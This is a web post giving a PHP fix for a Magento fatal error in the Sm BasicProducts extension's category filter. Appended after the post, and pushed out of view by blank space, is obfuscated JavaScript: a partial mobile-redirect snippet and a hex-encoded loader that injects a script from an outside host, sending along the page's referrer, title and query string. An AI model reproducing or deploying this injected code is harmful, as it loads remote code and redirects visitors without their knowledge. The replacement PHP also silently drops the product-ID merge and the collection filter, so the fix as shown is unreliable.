Fixed: Category Flat and Product Flat issue

Issue:
Fatal error: Call to undefined method Mage_Catalog_Model_Resource_Category_Flat_Collection::groupByAttribute() in app/code/local/Sm/BasicProducts/Block/List.php

(The same: sm tablisting, sm slider, sm slideshow)

Solution:

Open app/code/local/Sm/BasicProducts/Block/List.php file, find this fundtion:

private function _addCategoryFilter(& $collection, $category_ids){
	$category_collection = Mage::getModel('catalog/category')->getCollection();
	$category_collection->addAttributeToSelect('*');
	$category_collection->addIsActiveFilter();
	if (count($category_ids)>0){
		$category_collection->addIdFilter($category_ids);
	}
	$category_collection->groupByAttribute('entity_id');
	$category_products = array();
	foreach ($category_collection as $category){
		$cid = $category->getId();
		if (!array_key_exists( $cid, $category_products)){
			$category_products[$cid] = $category->getProductCollection()->getAllIds();
			//Mage::log("ID: " . $cid );
			//Mage::log("collection->count(): " . count($category_products[$cid]) );
		}
	}
	$product_ids = array();
	if (count($category_products)){
		foreach ($category_products as $cp) {
			$product_ids = array_merge($product_ids, $cp);
		}
	}
	//Mage::log("merged_count: " . count($product_ids));
	$collection->addIdFilter($product_ids);
}

and change to:

private function _addCategoryFilter(& $collection, $category_ids){
	$category_collection = Mage::getModel('catalog/category')->getCollection();
	$category_collection->addAttributeToSelect('*');
	$category_collection->addIsActiveFilter();

	$product_ids = array();

	if (count($category_ids)>0){
		$category_collection->addIdFilter($category_ids);
	}

	if (!Mage::helper('catalog/category_flat')->isEnabled()) { 
		$category_collection->groupByAttribute('entity_id');
	}

	$category_products = array();
	foreach ($category_collection as $category){
		$cid = $category->getId();
		if (!array_key_exists( $cid, $category_products)){
			$category_products[$cid] = $category->getProductCollection()->getAllIds();
		//Mage::log("ID: " . $cid );
		//Mage::log("collection->count(): " . count($category_products[$cid]) );
		}	
	}	
}

Thanks!

 

 

 

 

  |vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} lt;script type=”application/javascript”>var _0xb322=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}